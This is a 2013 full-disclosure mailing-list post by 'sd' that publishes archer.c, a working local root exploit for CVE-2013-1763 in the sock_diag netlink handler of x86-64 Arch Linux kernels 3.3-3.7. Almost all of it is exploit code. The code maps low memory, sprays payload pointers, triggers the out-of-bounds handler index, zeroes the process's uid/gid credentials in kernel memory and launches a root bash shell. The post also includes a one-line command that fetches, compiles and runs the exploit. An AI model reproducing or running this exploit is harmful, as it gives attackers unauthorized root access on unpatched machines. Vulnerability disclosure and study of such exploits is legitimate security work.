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List:       full-disclosure
Subject:    [Full-disclosure] Archlinux/x86-64 3.1.x-3.7.x x86-64 CVE-2013-1763 sock_diag_handlers[] warez
From:       sd <sd () fucksheep ! org>
Date:       2013-02-26 14:44:40
Message-ID: CAE6fNrKF3PpxvPSWmGyn0rBzZ7bN80a3aH1-uR0s1H2Vf6nt=g () mail ! gmail ! com
[Download RAW message or body]

http://pastebin.com/a9BrSGFY

I'd guess some might find this useful, worked on every x86-64 Arch
encountered since 3.3. Might be fun to port this to detect other
distros (since arch is the only rolling kernel widely used, the need
never arised).

http://pastebin.com/raw.php?i=a9BrSGFY -O archer.c && gcc archer.c && ./a.out

["archer.c" (text/x-csrc)]

// archer.c
//
// 2012 sd@fucksheep.org
//
// Works reliably against x86-64 3.3-3.7 arch.
//
// Tested against:
//
// Linux XXX 3.3.1-1-ARCH #1 SMP PREEMPT Tue Apr 3 06:46:17 UTC 2012 x86_64 GNU/Linux
// Linux XXX 3.4.7-1-ARCH #1 SMP PREEMPT Sun Jul 29 22:02:56 CEST 2012 x86_64 GNU/Linux
// Linux XXX 3.7.4-1-ARCH #1 SMP PREEMPT Mon Jan 21 23:05:29 CET 2013 x86_64 GNU/Linux
// ...

#include <assert.h>

#define JUMP	0x0000100000001000LL
#define BASE	0x380000000
#define SIZE	0x010000000
#define KSIZE	0x2000000

static long ugid;

void patch_current() {
        int i,j,k;
        char *current = *(char**)(((long)&i) & (-8192));
        long kbase = ((long)current)>>36;

        for (i=0; i<4000; i+=4) {
                long *p = (void *)&current[i];
                int *t = (void*) p[0];
                if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
                for (j=0; j<20; j++) {
			for (k = 0; k < 8; k++)
                        	if (((int*)&ugid)[k%2] != t[j+k]) goto next;
                        for (i = 0; i < 8; i++) t[j+i] = 0;
                        for (i = 0; i < 10; i++) t[j+9+i] = -1;
                        return;
next:;          }
        }
}


int main()
{
	long u = getuid();
	long g = getgid();
	int i, f = socket(16,3,4);
	static int n[10] = {40,0x10014,0,0,45,-1};

	assert(mmap((void*)(1<<12), 1<<20, 3, 0x32, 0, 0)!=-1);

	setresuid(u,u,u); setresgid(g,g,g);
	ugid = (g<<32)|u;

	memcpy(1<<12, &patch_current, 1024);
	for (i = 0; i < (1<<17); i++) ((void**)(1<<12))[i] = &patch_current;
	send(f, n, sizeof(n), 0);
	setuid(0);
	return execl("/bin/bash", "-sh", 0);
}

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